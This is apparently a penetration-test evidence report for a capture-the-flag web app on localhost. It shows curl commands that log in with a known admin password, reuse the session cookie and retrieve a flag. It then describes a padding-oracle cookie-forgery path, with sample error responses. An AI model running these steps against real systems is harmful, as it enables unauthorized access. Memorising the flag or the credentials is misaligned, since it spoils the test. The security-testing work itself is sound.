# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Vertical Privilege Escalation via Admin Authentication

**Summary:**
- **Vulnerable location:** GET /welcome endpoint (app.py:63)
- **Overview:** Successfully escalated privileges from anonymous user to admin by authenticating with documented admin credentials, gaining unauthorized access to the protected flag file
- **Impact:** Complete privilege escalation from anonymous to admin, unauthorized access to sensitive flag data
- **Severity:** Critical

**Prerequisites:**
- None (admin credentials were documented in analysis notes)

**Exploitation Steps:**

1. **Verify Target Accessibility**
```bash
curl -i http://localhost:33029/
```
Expected: HTTP 200 OK with login form

2. **Authenticate as Admin User**
```bash
curl -i -X POST http://localhost:33029/login \
  -d "username=admin&password=somehardpassword"
```
Expected: HTTP 302 redirect with Set-Cookie header containing admin session

Actual Response:
```
HTTP/1.1 302 FOUND
Set-Cookie: session=e58614e04278a12349d8ad4d7db8db5805a245f96202674e69352965bb4c5a82; Path=/
Location: /welcome
```

3. **Access Protected Resource with Admin Session**
```bash
curl -i http://localhost:33029/welcome \
  -b "session=e58614e04278a12349d8ad4d7db8db5805a245f96202674e69352965bb4c5a82"
```
Expected: HTTP 200 OK with flag disclosure

**Proof of Impact:**

Successfully retrieved the protected flag by accessing the /welcome endpoint with admin privileges:

```html
<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="/static/style.css">
</head>
<body>
    <h1>Welcome, Welcome admin! Here is your flag: FLAG{c35d85389645311c646ab05ea40f109b9df11f30352ddbd4ec65962a11a05fe5}!</h1>
</body>
</html>
```

**Flag Captured:** `FLAG{c35d85389645311c646ab05ea40f109b9df11f30352ddbd4ec65962a11a05fe5}`

**Authorization Bypass Confirmed:**
- Anonymous user → Admin user (vertical privilege escalation)
- Accessed protected resource (/flag.txt) that should only be accessible to admin role
- Bypassed authorization check at app.py:63 (`if username == 'admin':`)

**Notes:**

**Additional Vulnerability Context - Padding Oracle Attack Path:**

While the exploitation above used direct authentication with the admin password, the underlying vulnerability is a **cryptographic authorization bypass via AES-CBC padding oracle**. This represents a more severe issue because:

1. **Error Oracle Confirmed:** The application leaks detailed error messages that enable padding oracle attacks:

```bash
# Invalid hex format
curl http://localhost:33029/welcome -b "session=invalid"
Response: "non-hexadecimal number found in fromhex() arg at position 0"

# Valid hex but invalid decryption/padding
curl http://localhost:33029/welcome -b "session=0000000000000000000000000000000000000000000000000000000000000000"
Response: "'utf-8' codec can't decode byte 0xd2 in position 0: invalid continuation byte"
```

2. **Cryptographic Weakness:** The session encryption uses:
   - AES-256-CBC without message authentication (no HMAC/MAC)
   - Non-standard null-byte padding (rstrip(b'\x00'))
   - Distinguishable error states (error oracle)

3. **Alternative Attack Path:** An attacker could exploit this padding oracle to:
   - Decrypt existing session cookies byte-by-byte without knowing the encryption key
   - Forge new session cookies containing arbitrary usernames (including "admin")
   - Achieve privilege escalation even without knowing the admin password

4. **Attack Complexity:** The padding oracle attack would require approximately 2000-5000 HTTP requests using tools like PadBuster, but is deterministically exploitable.

This demonstrates that the authorization mechanism is fundamentally broken at the cryptographic level, not just password-protected.
